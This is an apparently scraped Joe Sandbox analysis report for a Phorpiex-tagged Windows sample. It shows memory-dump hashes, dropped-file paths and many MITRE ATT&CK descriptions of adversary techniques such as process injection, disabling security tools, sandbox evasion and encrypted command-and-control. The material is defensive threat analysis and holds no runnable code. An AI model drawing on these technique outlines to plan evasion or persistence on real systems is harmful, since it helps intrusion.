Instruction Fuzzy Hash: 72F0303171CF044FE748EE2DE4496A6B7E1FBA8355F10462FE44AC3651DA25E8818786

Analysis Process: winupsecvmgr.exePID: 5352, Parent PID: 1064COMMON

Executed Functions

Function 00007FF7AD1B14B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.3513208214.00007FF7AD1B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FF7AD1B0000, based on PE: true

Associated: 0000002B.00000002.3513160910.00007FF7AD1B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3513332981.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3513406086.00007FF7AD1CC000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3517959193.00007FF7AD737000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3518028839.00007FF7AD739000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3519874060.00007FF7AD740000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3519874060.00007FF7AD742000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3520039126.00007FF7AD745000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000002B.00000002.3520142159.00007FF7AD746000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ff7ad1b0000_winupsecvmgr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc9e1e80a9e88cbd31d74ff9d33f509eac08cb26dec99584b05bafd3a36954d
Instruction ID: a686bdfabce61223eedb1c978552a0642d50a4d9c3fbc1cb8676e18417c146f3
Opcode Fuzzy Hash: 2fc9e1e80a9e88cbd31d74ff9d33f509eac08cb26dec99584b05bafd3a36954d
Instruction Fuzzy Hash: FDB012B090E30A94E3093F21E8412587220EB08740FC35030C80C03372EEBC50805731

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Us051y7j25.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Phorpiex

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1881231804.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\3[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\5[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe

Windows Analysis Report
Us051y7j25.exe

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre